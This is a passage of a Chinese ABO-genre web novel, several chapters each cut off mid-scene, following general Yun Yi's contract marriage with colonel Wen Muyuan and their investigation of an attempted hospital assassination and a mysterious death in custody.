哪怕是在军队中,联盟也鼓励omega结婚,云泆身边的好几个omega文员都有自己的家庭。 所以在这样的大环境下,35岁仍未婚的云泆显得格外突出。 “我之前考虑过这件事,但我确实没什么情感经验,也找到合适的人。”云泆无奈地说。 瞿千岱终于拿起那杯彻底冷却的咖啡喝了一口,他说:“我的意思和大多数人一样,你或许可以考虑一段婚姻,以免这一方面成为别人的靶子。” 他放下杯子,开口又道:“不用太有压力,我想你需要一个演戏的对象,你们可以把所有事情在婚前商量好。” 云泆闻言琢磨着他话里的意思,随后不住地皱眉反问:“你让我找个人假结婚?这不像你的作风啊。” 瞿千岱向来是刻板严肃,谨慎小心,协议结婚这种方法从他嘴里说出来令云泆倍感意外。 “之前或许我不会这么向你提议,”瞿千岱直视着云泆,神色坦然“但你不觉得闻上校方方面面都很符合条件吗。” “忠诚,强悍,契合度高。” “每一点都很难得。” 瞿千岱平静地罗列着闻牧远身上的优点。 “更何况他是南境的上校,更是军部年轻一辈里的领头人,这代表着一股怎样的势力我相信你明白。”瞿千岱的眼神犀利起来。 云泆听后陷入了沉默,思索片刻后他回道:“我需要再考虑一下,不会太久。” 瞿千岱点点头,拿起桌上的文件放进随身的公文包里。他把最新搭建的通讯密线号码写在纸上递给云泆,起身离开了咖啡馆。 早在出门前他就给守在暗处的保镖发去信息,这片区域现在很安全,瞿千岱脚步不快,alpha高大的身影慢慢消失在黑色的夜幕中。 小巷一切平常,老板在人走后挂上了打烊的牌子,和往日没有两样。 云泆回去的一路上心事重重,车窗外灯火幢幢,那些斑驳的光影投在云泆的脸上,像是一幅忽然被铺展开来的画。 靠近洋房的时候云泆让司机停车。车在离家还有一段距离的地方缓缓刹住,云泆打开车门走下来,他抬头就看见不远处的房子,和那里面透出的灯光。 还没等 13. 云家 《被联盟战神拯救后》全本免费阅读 云泆最近晚上睡觉时总觉得有什么东西膈着后腰,他本来不是觉浅的人,只是腺体力量的减弱让他变得没那么敏锐。 或许是知道自己所处的环境很安全,前几个晚上云泆放任了那东西的存在,可今晚许是心思重,他翻身的时候感觉蹭到了什么冰凉的物件,立马就醒了过来。 卧室的遮光很好,房间里面漆黑一片,云泆眨了眨酸痛的眼睛,好一会儿才适应这黑暗的环境。 他侧头发现身边的人睡得很规矩,躺在床上直挺挺的,脸还朝着正上方,甚至和云泆之间隔了将近十公分,堪称楚河汉界。 云泆还在犯迷糊,觉得闻上校守规矩到连睡觉都不放过,忽然就被什么黑亮的东西晃了眼睛,云泆索性闭上眼往床上摸,结果从他背后的位置拉出了一截尾巴。 这当然不会是他的。 云泆眯眼觑着手里的蛇尾,意识到这么多天来夜里不安分的原来是这个小家伙。 闻上校,也就看着老实而已,云泆攥着这截尾巴顺着鳞片摸了两下,原本在睡梦中的闻牧远像是被碰到了什么开关一样马上醒了过来。 刚脱离睡眠状态的人似乎都有共性,他看了看坐着的云泆,又瞟见云泆手里的蛇尾,涣散的瞳孔还未聚焦,仍在状况外。 云泆见状觉得有些尴尬,他利落地把手里的尾巴递还给闻牧远,然后躺下盖上被子开始睡觉。 闻牧远愣愣地接回尾巴,猛然意识到刚才发生了什么,一瞬间血都涌上了头。 可云泆都没说什么,他一直坐着也不是回事,于是闻牧远故作镇定地收回尾巴,在心里反复告诫自己不准再放出来,末了有些僵硬地躺回原位。 他觉得现在整个人清醒的可以再做几小时的训练,不知道云泆到底睡着没,闻牧远轻声说:“抱歉,我会管好它的。” 没有回音,或许是睡着了吧。闻牧远的心放下了些许,他想云泆应该是不在意的。思及此又感到沮丧,云泆不在意他的尾巴晚上扰民,也看不出他的尾巴为什么那么不受控制。 闻牧远骤然紧绷的弦慢慢松下来,他不知道的是,那个他以为什么都不在意的人不过是在装睡。 云泆嘴角微扬,放轻了呼吸,他怕闻牧远羞窘故意不作回应。 二人就这么睡去,第二天醒来时谁也没提昨夜的插曲。 周一上午,云泆准时坐上了开去云家的车,顾逸青一早就在发消息催促他,云泆无法,只好早些出门。 云家的宅邸不是简单的房子,一个偌大的家族需要门面和权力的象征,而位于金字塔顶端的大家族更是如此。 云家的主宅坐落在中心城的东侧,直接占了一座山头,虽然海拔不高但是面积广大,除去住宅的区域还有很多其他场所,医疗、消防设施一应俱全,几乎算得上一座微型城市。 云泆有两三年没回过这里,车沿着主道蜿蜒而上时他不禁恍惚。 见过世间最纷乱、鲜血淋漓的地方,再回到这上层阶级的温房,云泆总觉不适。 他并不厌恶自己的出生,相反,要是没有云家做他的后背,在这样动荡的时局下,一个omega不可能站到这么高的地方。 但他们二者的核心利益终究不同,云泆不可能为云家效力,这就已经违背了祖宗的规矩,和家族生出嫌隙也是必然的结果。 不一会儿车就驶到了终点,透过车窗云泆看见顾逸青已经站在门口等候来人。 他下车向许久未见的人走去,脚步在不知不觉间变得快了些。 顾逸青不矮,176的身高在omega里甚至有些高,但他看云泆的时候要仰起头。岁月没有在这张美丽的皮囊上留下太多痕迹,他看起来依旧很年轻,眼角眉梢都是欢愉的笑意。 他伸手抱住了云泆:“好久不见了,爸爸很想你。” 云泆不免动容,他也回抱过去,问:“在家里一切都好吗?” 顾逸青松开手,笑着说:“当然了,你父亲怎么敢惹我生气,倒是你,我听联盟的报道说你回首都是为了养伤。” 他的眼神染上担忧,语气带着淡淡的责怪,继续道:“我问你什么你都说没事,也就你敢骗我了。” 云泆闻言马上向他道歉,再三保证一定没有下次,最后把秦羽和瞿千岱都搬出来证明自己没事,顾逸青这才作罢。 二人在门口站了一会,见他们说得差不多了闻牧远才走过来。 今天云泆叮嘱他不用穿的很正式,虽然如此,闻牧远一想到是要去云家就不敢马虎。他穿了一件黑色的风衣,里面是白色的衬衫,这装束倒是和云泆出门见瞿千岱那天很像。 闻牧远很高,他的身体比例优越,穿什么都板正笔挺,现在褪下军装换上日常一些的服饰,乍一看攻击性没减弱多少,反而有种暗流涌动的意味。 顾逸青看着他,温和地打招呼:“是闻上校吧,辛苦你这么早陪云泆过来了。” 对方是长辈,又是云泆的父亲,闻牧远礼貌答道:“顾先生客气了,保护云上将的安全是我的职责所在。” 当时联盟批准他和云泆一道回来就用的这个理由,所以这么说来他还算云泆半个副官。 “不用拘谨,就当做是自己家好了。”顾逸青让他们二人进到屋里去,外面人多眼杂不是说话的地方。 云泆问他:“父亲中午回来吗?”他话中的人是他的那位alpha父亲,如今云家的当家人。 近些年云泆和云瑞玉的见面次数不多,他们二人都不是情绪外放的类型。因此虽然在很多方面观念不和,但也很少撕破脸皮。 唯二摆到明面上的争吵发生在很久以前。 第一次是云泆不顾家里的意愿,执意要去首都医科大学读生物学。 第二次则是云泆选择参军,那次他和家里闹得厉害,要不是有顾逸青在其中斡旋,云瑞玉估计会直接把他关在云宅里。 不论如何,如今一切尘埃落定,云瑞玉也不会再过多插手,二人如履薄冰的父子关系就这么维系着。 顾逸青听见他这么问,回道:“我还以为你不想见到他呢。” 云泆无奈地开口:“您让我在家里住几天,抬头不见低头也会见的。” “不要这么说,你父亲也很想你的。”顾逸青拍拍他的肩,随后说:“你的房间一直有人在打扫,闻上 14. 再度 《被联盟战神拯救后》全本免费阅读 云宅很大,今天是为了迎接云泆,顾逸青特意让人开了内宅的门,所以云泆的车才能开到里头。平常的来客都要在前院下车,穿过一片繁密的花园才能到主宅。 而云泆所描绘的那座喷泉就建在花园的中央,离这有些距离,当做饭后散步慢慢走过去正好。 云泆走在闻牧远前头,他穿得休闲,里面只套了一件白色t恤,外头是一件浅咖色的短风衣,他的眼睛随顾逸青,看起来温柔明媚,这么打扮倒像是个刚毕业不久的学生,没有半点联盟战神的样子。 闻牧远跟在他身后慢慢走着,二人时不时聊上两句。 花园里里的植被都被修剪得宜,定期的养护使这里的景致一直保持在最美的样子。 兴许是最近首都多雨,白天太阳不太耀眼,只散发着淡淡的光晕,斑驳的绿意就这么顺着叶缝投下,落在二人的背上。 走过一段路就到了花园的中心,一座极为繁复华丽的喷泉静立于此。 云泆眼中流出怀念的神色,他指着旁边的小径说:“以前我爱在花园里捉迷藏,父亲总能精确地知道我躲在什么地方。” 闻牧远的目光早早从喷泉上移开,落回云泆身上,他意识到云泆口中的父亲是云瑞玉。云泆的神色是柔软的,他和父亲并不是一直那么不和,最起码云泆小的时候,云瑞玉愿意百忙之中抽出时间陪自己的孩子玩一场捉迷藏。 刚才午饭时难受的恐怕不止顾逸青一个,但云泆不知如何开口,索性也就不说了。 闻牧远想要安慰他,嘴又有些笨,他不想触及云泆的伤心事,只好说:“我也可以找到你。” 云泆一愣,旋即笑出声:“完成雨林区的高危任务你都不在话下,就别拿这小花园取乐了。” 他说着又忽然想到了什么,直言道:“之前的临时标记快要消失了,又要麻烦你了。” 云泆说得坦然,这些天来他早就习惯了时时刻刻和雪柏交融的感觉,临时标记对他的康复很重要,虽然他现在心里怀着点不便告人的想法,但向闻牧远讨要一个临时标记仍是那么自然。 闻牧远眼神闪躲了一瞬,他现在害羞的阈值似乎变高了,耳朵也没这么容易红,只是信息素没忍住稍稍漏出了一些。 他抬手捂住后颈,低声应道:“好的,什么时候都可以,我不麻烦。” 他们二人正聊着天,远处突然传来一阵不和谐的喧哗。 花园那头的路上走来三个人,两男一女,为首的男子眼神轻佻,他的目光在云泆身上游移了一会,那双浑浊的眼睛里满是惊艳之色。 闻牧远面色一沉,走到云泆身前挡住了那道冒失无礼的目光。 平时温顺好说话的样子瞬间消失不见,转而变得有些冷硬,他的狠厉的眼神看得那男子一哆嗦。 见闻牧远这么不识趣,他“嘁”了一声,然后高声道:“小美人,你哪来的啊。” “过来陪哥哥玩玩呗。”他嘻嘻哈哈地笑起来。 另外两个人像是他的跟班,站在他身边无动于衷,只是明显不善,特别是那个omega,她狠狠瞪了一眼云泆的方向,随后有些烦闷地扭过头去。 云泆对这为首的人倒是不陌生,他向来过目不忘,见过的人说过的话都记得一清二楚。 云家人多,除去主枝还有好几脉旁系,这个男子应当是算是他的远方表哥,他的父亲是云瑞玉的的弟弟,只不过出生不大光彩,因此和本家也算不上多亲厚。 云泆之所以还记得这个表哥,是儿时某次家族内部的聚会上,他偶然发现这个男孩竟然对云宅的佣人动手,只因为那个女佣拿错了给他的饮料。 云泆很厌恶这样的人,当场拉开了那个女佣给了这个王八蛋一脚,对方见自己触怒了惹不起的人,只好灰溜溜地弯腰道歉。听闻此事的顾逸青说了云泆两句装装样子,此后云瑞玉和他们家的生意往来几乎断干净了。 可如今或许是为攀关系,这人竟又出现在这里,云泆沉默着没应声,他抬手压住闻牧远的肩,手掌下肌肉紧绷,显然是被那人气到了。 云泆摸了一下以示安抚,他轻声说:“等会帮我收着点信息素,我可能有点控制不住。” 闻牧远想给那个口出狂言的男人一拳,但碍于云泆的命令,最后还是忍了下来,alpha握紧的拳头微微松开。 云鸿见那个alpha像是不愿与他对抗的模样,心里更是得意不已。 云家的人他都认识,其他大家族的omega他也见了个七七八八,但眼前这个漂亮的omega他在首都可从未见过。天真的他以为这是不知道从哪个穷乡僻壤来攀关系的远房亲戚,因此调戏的毫无顾忌。 色胆包天之下更是抬脚想要走过去一亲芳泽。 云泆见他脚步虚浮,眼里的笑都变成了冷意,虽然腺体受了伤,但不动声色收拾这样一个废物仍是绰绰有余。 云鸿还在往前走着,突然觉得身边的空气在一瞬间被抽干。没等他回过神,身体就已脱力跪下,他呼吸急促到近乎昏厥,高浓度的s级信息素像是藤条一样在他身上鞭笞,以至于这个alpha到最后跪都跪不住,直接瘫倒在地上。 他看向云泆,眼神里全是不可置信。 这熟悉的味道勾起了他的回忆,他想起了小时候那毫不留情的一脚,他直接被踢飞了一米远,此后他们家在族亲面前就在没抬起过头。 他身后的那个一直没开口的alpha也被信息素压得不轻,捂着胸口向云泆求饶:“对不起,我们错了!放、放过我们吧!” 闻牧远这才意识到云泆刚才和他说的话是什么意思,他连忙放出自己得信息素把空中散落的青藤包裹起来,缓缓拉回身边。 因为有他在,云泆倒也没觉得有多难受,只是苦了那三个人,刚受到一波s级信息素的挤压,又被另一波s级信息素无情碾过。 那一男一女过了好一会才有力气起身,至于前面离云泆比较近,身体素质又差的云鸿,根本扛不住这样的压力,直接昏迷了。 云泆看着地上死尸一样的人不以为意,他估计云鸿他们今天来云家是有事相求,不过如今都成这副模样了,还是赶紧送去医院来得重要。 云泆冷冷道:“滚吧。” 那女子到现在才认出他是谁,一时之间怒不 15. 结婚 《被联盟战神拯救后》全本免费阅读 云泆被涌入体内的信息素冲的发晕,短暂的疼痛过后是长久的欢愉,他放纵自己追逐本能,享受标记带来的快感。 闻牧远的胆子在信息素的怂恿下变大了些,他趁云泆还不清醒,用舌头轻轻卷走了刚才因标记而渗出的血滴,舔舐完又强作若无其事地移开了身子。 云泆什么都没意识到,只觉得后颈一热,然后那道令人眷恋的气息就后撤而去。 出于本能,他感到有些恼火,恼火于这个alpha居然这么快就想离开。 感性占据上风,云泆转身一把抓住了闻牧远的肩膀,正在回味刚才的血水的闻牧远还以为自己被抓包了。 没想到下一秒云泆就不由分说地抱住了他,将自己的下巴靠进闻牧远的颈窝里,那温热的呼吸结结实实地打在alpha的耳侧。 闻牧远浑身僵硬,不知道手要往哪放,全身的意志力都用来抵挡那些不该有的反应,然而效果还是不大好。 闻牧远进退两难,最后选择了放弃,他主动伸手揽住了云泆的腰,想让他靠得更舒服些。 大概过了几分钟,云泆的理智回归,他猛然从闻牧远的肩上抬起头,映入眼帘的是红得滴血的耳尖。 云泆低头一看,下方那条蛇尾甚至盘成了一个心形,他这才意识到自己似乎做了什么过分的事。 云泆红了脸想要起身,闻牧远却扣紧他,说:“等一下。” 闻牧远屏住呼吸稍稍调整姿势,这才松开手,他耳朵上的红早已扩散,现在整个人的温度都高了不少。 云泆依言,等他调整完才往后坐,但他的小腿仍是难以避免地碰到了什么。 “咳,”云泆尴尬地咳嗽,他飞快下床走到窗边打开窗户透气,岔开话题道:“你这次标记做得比上次有经验啊。” 这是什么废话,云泆说出口后在心里默默无语。 闻牧远能有什么经验,他的经验不全是从自己身上来的么。 闻牧远扭过头低低地应声,屋里的信息素正浓,ao双方受到的影响都不小,类似上次那样的情绪涌入也在持续发生。 不过这次二人倒是默契,害羞和尴尬同时浮现,一时之间分不清是自己的还是对方的。 过了一会,闻牧远的反应消下去了些,他把尾巴收回去,又恢复到那副规矩的样子。 云泆转过身,看着床上的人在心里暗暗唾弃自己的行径。 云泆走近,在闻牧远旁边坐下,尴尬的那股劲儿过去后他提起刚才的失态:“我不知道自己为什么会这样,当时你要离开,我突然感到很焦虑,所以才抱了你,抱歉了。” 闻牧远拿过他放在一边的外套,说:“我不介意的,就是有点意外。” “回头我会问问秦羽,也许和我腺体的情况有关。”云泆叹了一口气,他感觉自己指尖仍残存着不久前的触感。 “好的。”闻牧远静静地把自己的外套叠成了一个豆腐块。 云泆瞥见那个豆腐块,顿时哭笑不得,他心里泛起对闻牧远的愧疚,这份愧疚又让他意识到现在也许是个明说的好时机。 云泆下决定总是很快,他并不草率,相反,他想的比谁都多。在这个房间里他们安全且无人会来打扰,也算是是一个好时机。 于是他很郑重地开口:“闻上校,有件事我想问问你的意见,原本我准备回去再说,但我想你可能需要更多的思考时间。” 闻牧远见他神色凝重,马上收了心神,问道:“是标记前提到那件事吗?” “是的。”云泆点点头,他直视着闻牧远的眼睛,很直白地说:“我想问问你,有没有考虑过结婚。” “结婚?”闻牧远一脸茫然,末了那茫然中还夹杂着零星的慌乱。 云泆反应淡定,他说:“是的,结婚。” “和谁?”闻牧远近乎失声。 他以为云泆是担心他的婚姻状况所以要赶他走,连忙道:“我没有考虑过,您可以放心,我希望一直保持单身状态,目前没有结婚的意愿。”闻牧远说了一长串,完全没给云泆说话的机会。 见他这个反应,云泆心中竟生出些许失落,他道:“我不知道你这么抗拒,既然这样,我就再想想别的人选吧。” 闻牧远的大脑宕机了一瞬,片刻后他准确地捕捉到云泆话语中的意思,他甚至不敢相信自己的耳朵。 “您是说,和您、结婚?结婚的对象是您?” 云泆以为他不愿意,语气也自然了不少,他说:“是的,就目前的情况来看我需要一个可以合作的婚姻对象。” “之前总统先生让我考虑你,但既然你不愿意,我也不会勉强。” “我愿意!”闻牧远没有任何思考脱口而出,他直接站了起来,将近190的alpha像座小山一般遮住了云泆眼前的光线。 他的身体有些颤抖,没等云泆回应又道:“我愿意的。” 云泆被他这突如其来的转变打了个措手不及,他以为闻牧远是因为他刚才的话才故意这么说,连忙劝道:“我没有要你一定和我结婚的意思,我之所以现在提出来,也是希望你可以深思熟虑,我不需要你为我勉强。” “结婚”二字像子弹穿透了闻牧远的心脏,他只觉得心上滚烫的热血在疯狂向外奔腾、翻涌。 他难以冷静,在原地呆了几秒又坐回床沿,优越的侧脸有一半陷在阴影里,那灰蓝瞳孔里充斥着不可置信。 心绪稍稍冷静后他抬头回应云泆的注视。 没有任何腹稿,他拿出了百万分的坦诚:“我没有勉强,刚才之所以拒绝,是因为我以为您会因为我的婚姻问题让我离开。” 他放在云泆身边的手在不经意间移动了位置,二人的小指在云泆不知晓的情况下依偎在一起。 “我愿意和您结婚,我知道这或许不是纯粹的婚姻,但是我想满足您的一切需要,我愿意为您做任何事。” 云泆被他的话镇住,一时不知道该说什么。 他的眼神里透出无奈,眼前这个强大的alpha好像仍当年的小蛇一样,他永远把最好的给云泆。 那时的孩子能力有限,只能在午餐时悄悄去厨房,把自己更大一些的鸡腿换给云泆。 现在的他长成了人人敬畏的联盟上校,身后有着无数荣誉,却会因云泆一句“ 16. 再演 《被联盟战神拯救后》全本免费阅读 云泆瞧见顾逸青惨白的脸色心里过意不去,他端了一杯茶坐到父亲身边,将最近发生的事娓娓道来。 除开一些不能说的机密,其他的一切他都如实相告。 顾逸青刚开始还能维持冷静,直到他听见云泆曾在不久前遭受袭击重伤濒死,再也维持不了冷静。 他一把抓住云泆的胳膊,眼眶蓦然变红:“小泆,这么重的伤,为什么,我一无所知。” 再见过大场面,身为父亲听到自己的孩子曾命悬一线都会慌乱失色,顾逸青也不例外。 云泆看不得父亲伤心的模样,事情过去也有一段时间,他安抚道:“我这不是没事吗,别担心,我的伤在慢慢好起来。” 顾逸青仍是觉得后怕,要是云泆再伤得深一点…… 他不敢再想那可怕的如果。良久,顾逸青闭眼叹出一口气,他攥紧了云泆的手。 云泆见他情绪稳定下来,就接着之前的话把结婚的缘由悉数告知。 顾逸青心有余悸,生死面前其他事情反倒没这么重要,更何况这件事云泆已经和总统通过气,不是一场单纯的婚姻。 他神色复杂地看向闻牧远,那个alpha安静地坐在一旁听他们对话,眼神一直落在云泆身上不曾移开。 这些年云泆和云家的来往一直不多,碍于云家族老的立场,他和云瑞玉就算想要给予支持也只能在暗地里进行。 这些事不便说出来,但顾逸青知道云泆心里有数。 顾逸青向来豁达,仔细一想,结婚这事倒也不算什么大事。 心里那关过了,他点点头,说:“我知道了,这件事我会和你父亲说清楚,如果你不想烦心,婚礼的事交给爸爸就好。” “我只希望你能平安幸福。”顾逸青有些失神道。 说罢,他也没了吃饭的胃口。佣人把晚饭送到后宅,他让云泆和闻牧远自便,随后起身上楼想要一个人冷静一下。 行至二楼,他正好瞧见闻牧远在给云泆的杯里添水,那个看起来难以接近的alpha在云泆面前很温顺。 顾逸青是个过来人,从那双眼睛里,他清楚地看到了爱慕。 或许这场婚姻不完全是政治工具,也没有他想象的那么了无生趣。 他们都是好孩子,时间会证明一切。顾逸青收回视线,在心里默默祷告。 云泆和闻牧远一起用了晚饭,即将结婚这件事没有使他们相处的模式发生太大变化。 他本想在云宅多住两天陪陪父亲,但陆兆兴的一通急电打乱了他的计划。 陆兆兴开门见山道:“云泆,南境的程风中校出事了。” “今天傍晚,程风中校带领的小组在南境执行任务时遭到袭击,除了程风无人生还。他本人伤得很重,刚被医疗飞行器送往首都。” 云泆一下从凳子上站起来,厉声问:“是帝国动的手?程风现在怎么样。” “这不好说,”陆兆兴似乎是在踱步,语气犹疑:“现场没有留下任何痕迹,秦医生帮着远程诊疗过,但最近北境事多,他走不开身。” “关键的是,秦医生他让我告诉你,程风的创口虽然在侧颈,但创面和你上次遇袭的情况一样,只不过这次凶手没有留下任何东西。” 云泆的心沉了沉,这件事电话里说不清,程风还没醒,首都的局势也不明,要是动手的人还没死心,那接下来程风是否安全还是个未知数。 情况紧急,云泆挂掉通讯后马上向瞿千岱打了申请,想要知道飞行器将要去往的具体地址。 来不及和顾逸青说告别,他只能和闻牧远匆匆离去。 云泆没有避着闻牧远,他把方才听到的消息又复述了一遍,闻牧远蹙眉,神色异常凝重。 程风是“陨落者”之一,结合物是猎豹,一直在陆军战队服役,和闻牧远是战友。 他们二人年纪相差不大,当年一起离开首都进入南境参军,因为都是沉静少言的性子,在南境拼军功都卖命,也算是志趣相投。 闻牧远听闻好友出事,上车后利落地打了南境军方专线。事情发生得太快,目前整件事还处在保密状态,闻牧远询问后也只了解到一个大概。 当时他的小组遇袭后军营内很快就派出了救援,等待救援士兵的是满地尸体。 所有人都大惊失色,在场的人除了身体素质强悍的程风还有一口气,其他人都不幸遇难。 “他们会在首都动手。”闻牧远的直觉开始作响,他继续道:“程风没死不一定是那些人失手,在那样的情况下他会选择装死,凶手极有可能来不及确认。” 他侧头瞥见云泆若有所思的神色,就知道二人想到了一块去。 每个陨落者有什么本事云泆一清二楚,因此程风有“假死”的能力云泆也知晓。 当时听到其他人全军覆没唯独程风生还的消息,他下意识觉得不对,这事有蹊跷。 “他们要是想下手一定会趁早,等会儿到了医院我们见机行事。”云泆飞快下了决断。 正巧这时瞿千岱批准了云泆的申请,消息末尾还附上了一句“注意安全”。 黑色的车在空旷的路上疾驰而过,卷起一阵尘烟。 中心城117院。 夜幕垂落,医院内一切都在安然有序地进行,飞行器落地的声音不大,并没有太多人注意到一个浑身是血的人被推进了手术室。 随行的军官不便进入,只几个事先安排好的医生和助手护士收到许可进入。 程风面无血色地躺在那,几个医生围在他身边讨论着治疗方案。伤口在颈侧,再往前一公分就会贯穿喉咙,十分凶险。 这时一位医生静默转身,和一旁的护士交换了眼神。 医生是这场手术的主刀,他站到手术台边,刚才的护士心照不宣地走到他身边。 “刀。”男人侧目命令道。 护士拿过刀递给他,谁都没看到刚才她指尖飞快的动作。 医生接过刀具,口罩遮挡住他的脸,那双眼睛隐匿在镜片后,神色不明。 现场的气氛紧绷,刀下是死是生,无人敢断言。 下一秒,外面传来一阵声响,手术室的门忽然被打开,冲进来好几个士兵。 那医生见状不妙,心一狠马上就想下死手。 跑在最前面的云泆抬脚毫不犹豫踢飞了他手中的刀。 云泆冷着脸顺势踹上医生的前胸,那股大力让男人不住后退,和程风 17. 审问 《被联盟战神拯救后》全本免费阅读 因为云泆的加入,警署又派来一辆专车来接送。 两个凶犯被押入不同的隔间看管,云泆决定先去提审那个医生。 从当时他在手术室的的反应来看,这人的心理防线并不坚固,起码心理素质远低于那个一见到事情不对就马上逃走的护士。 审讯室里监控遍布,负责刑讯的一对警员进到室内,在常立德对面坐下。他们带着耳麦,通讯的另一头是审讯室外的云泆。 中心城的警员大多是身体素质和信息素强度均在b级以上的alpha,相较于普通人来说,他们信息素中的压迫感会更强。 而常立德是个较为劣等的alpha,信息素强度甚至只有可怜的d级。先前在手术室里他在云泆手下连过一招都够呛,如今经历了一番周折,在这两个优质的alpha面前更是抖如糠筛。 “常立德,男性alpha,33岁。”一个警员年念出他的身份信息,然后把那沓包含他全部生平的文件放到桌上。 “说吧,为什么谋杀联盟军官。你不用急着否认,我们已经掌握大量有力证据,就连你拿把刀上的毒都验出来了。” 常立德本就难看的面色一下灰败无比,他低头闭上眼,似乎在心里作斗争,末了叹出一口气,颤抖着回答:“我认罪。” 这个略显瘦弱的alpha缩在凳子上,一幅放弃抵抗的模样。 警员问:“为什么杀人?你的动机是什么,你和崔妙妙又是什么关系?” 常立德双手被手铐锁着,他无助地抬起手抱住头,惶然道:“我、我不想杀人的。” “但是我真的,我真的没办法了......”常立德的情绪趋近崩溃,他大喊:“是崔妙妙!都是她逼我的!都是她叫我去做的!” 见他情绪过于激动,另一个警员上前大力按住他的肩,将他压回原位。 云泆在屋外命令道:“不要刺激他,问问崔妙妙是怎么回事。” 里面的警员闻言放轻了动作,又尝试通过语言安抚面前这个失控的男人,过了几分钟,常立德才慢慢冷静下来。 警员问他崔妙妙怎么逼他杀人,常立德没有马上回答。 他浑身无力,双目放空瘫倒在椅子上,不再挣扎。他开口,将事情的经过摆到众人面前。 常立德本是孤儿,因为是在中心城的孤儿院里,所以运气不错,得到了政府的助学金。 他知道只有读书才能改变命运,所以他拼尽全力去学习,结果倒也如他所愿,本来一无所有的他摇身一变成了体面的医生。 只是还有一些事旁人并不知道。常立德在刚工作的时候在酒吧认识了一个女人,初出社会的他什么都不明白,稀里糊涂和人发生了一夜情,最后那女人竟还怀了孕。 那时正是常立德事业的上升期。他生活拮据,手里没什么钱,那女人非要和他结婚,常立德不耐烦,就让她把孩子打掉一了百了。 他原以为这样就没事了,可谁知那女人非但没有打胎,事后还把孩子悄悄生了下来。 一个无依无靠又年轻的omega独自在贫民窟抚养一个孩子有多艰难显而易见。 那女人经常被其他不怀好意的陌生alpha找麻烦,但为了那刚出生的女儿,她选择忍下一切。 可不久之后女婴竟查出患有罕见病,女人身无分文,常立德也不愿接济分毫,她只好出去做兼职,攒起微薄的薪水供女儿上医院、吃药。 常立德什么都知道,但他选择了无视,直到女人因为生产后遗症和劳累去世,为避免事情闹大,常立德才万分不愿地接回孩子。 这件事本来是他的私事,可谁知不久前崔妙妙找上刚升任主任的他,竟以这件事为要挟,要常立德帮她一个忙。 常立德想要拒绝,但崔妙妙手里的证据太过完全。 那女人是个omega,颈后的腺体里还残存着完全标记的alpha的信息素,她的去世很大一部分是由于伴侣的信息素缺失。崔妙妙不知道从哪搞来了尸检报告,这让常立德一时间吓得不知怎么办才好。 这样的行径在联盟可是大罪,更何况他曾遗弃过自己的孩子,只要这些信息被曝光,不要说他辛辛苦苦奋斗了半辈子的工作能不能保住,最起码几年的牢饭是难逃的。 崔妙妙抓住了他的命根,常立德最终选择屈服,依照对方的命令行事。至于崔妙妙为什么要这么做,他也不清楚。 听完这部分隐情,云泆陷入沉思。 常立德说的十有八九是真话,但整件事情仍有许多疑点。 譬如崔妙妙一个小护士为什么非要置程风于死地,她背后的人是谁?以及为什么程风会被准确地送到117院,当时情况混乱,是谁提交的申请,又是什么人通过的审批? 后者暂时来不及查证,云泆决定马上去见见崔妙妙。 可谁知下一秒隔壁房间就响起一声尖叫,云泆太阳穴一跳,感觉不妙,马上推门冲出去。 对面的警员一脸惊惶地迎面跑来,他大喘气撑着膝盖,话都说不利索,一开口却让所有人心头一震。 “崔、崔妙妙,死了!” 云泆脸色一变,他和闻牧远对视一眼,打开了隔壁审讯室的门。 门里的景象实在是出乎意料,所有后来赶到的人都匆匆止住脚步,脾胃翻腾,忍不住地犯恶心。 崔妙妙,或许那已经不能称之为一个人,静静地立在椅子上。 她脖子以上的部分全部消失,脖子以下的身体也在以肉眼可见的速度腐烂。 空气里弥漫着一股恶臭,她的血液不是正常的红色,反而被一种诡异的绿取而代之。 云泆眉头紧皱,他立马合上审讯室的门,让大家捂住口鼻,尽量不要闻里面的气体。 众人退出来,闻牧远神色不明,厉声问负责这个审讯室的警员到底是怎么一回事。 那个负责看守的人也被吓得不轻,他仔细回忆着刚才事情的全过程,哆哆嗦嗦地复述出来。 因为云泆他们先从常立德下刀,所以崔妙妙这边的审问工作就暂时停止了,只等着那边出消息再继续。 三个警官坐在审讯室外盯着监视器,一个在室内贴身看管,以防她做出什么自残的举动。 可这姑娘奇怪得很,其他人被警方这么严密监管,就算不慌神也会有很大的心理压力。 这些压力会表现为眼神、动作的不自然,最起码他们坐在审讯室的凳子上时会显得焦虑不安。 可她不一样,她一直朝着正前方微笑,连嘴角上扬的弧度都没有变过,生硬可怕地像个机器人。 警署审讯室的玻璃都是单向的,按理说崔妙妙不可能看得见对面的人,可她的眼神太过坚定了,以至于有些渗人。 外头的几个警员也算是见多识广,但被这样的眼神一成不变 18. 培养 《被联盟战神拯救后》全本免费阅读 这短短三个字如同平地惊雷,云泆马上转向闻牧远让他继续说。 闻牧远接着道:“以前在实验室,我们的关押方式发生过变动。最早是泡在营养液里,后来变成正常的小单间。有一次外头的研究员发生口角,后来甚至动了手。” “当时我正在回去的路上,正巧看见其中一个人的衣领被扯歪,他的锁骨下面也有一个这样的纹身。”闻牧远内心的震动早已过去,今日所见意外勾起了他尘封多年的回忆。 这个纹身充分说明崔妙妙的刺杀和身亡都与“造神计划”脱不开干系,而背后出手的人,和当初偷袭云泆的凶手应该是同一伙人。 云泆从一旁的公文包里找出一张空白的纸和笔,他递给闻牧远,说:“你把那个纹身画下来吧。” 闻牧远接过,这两次的接触都是慌乱场面下的匆匆一瞥,他能想起大概的样子,却无法做到太精细。 不一会,那张纸被还到云泆手里。云泆低头,在微弱的光线下仔细观察着。 纹身整体较为窄长,中间有一片水滴状的图案,但边缘似乎不是很齐整,下方是向两侧延伸的对称线条,乍一看倒像是摊开的手指。 云泆把他的想法向闻牧远告知,闻牧远抱歉道:“时间有点久,我暂时只能记起这么多了。” 云泆把画着纹身的纸叠好,放入口袋。他想起自己晚上发送的那条信息,学着想象中的语气开口道:“你已经很棒了。” 闻牧远登时一愣,有些别扭地应声:“嗯。” 后续的走访侦查如果有什么消息,警署那边也会第一时间告知,但云泆知道就这么查下去大概不会再找到有用的线索。 就目前来看,背后之人做事滴水不漏。 如果不是秦羽的眼力和闻牧远碰巧见过那纹身,或许谁都无法这么快将这两件事联系到一起。 当务之急还是要保证程风的人身安全,至于常立德,虽然他身上的有效线索都已被获取,但以防万一,还是要多派几个人看守着。 今夜的事至此暂告一段落,短时间内从云家出来又经历了这些急变,也算是惊心动魄。 云泆紧绷的弦渐渐放松,手垂落的时候不小心蹭到了闻牧远的胳膊。 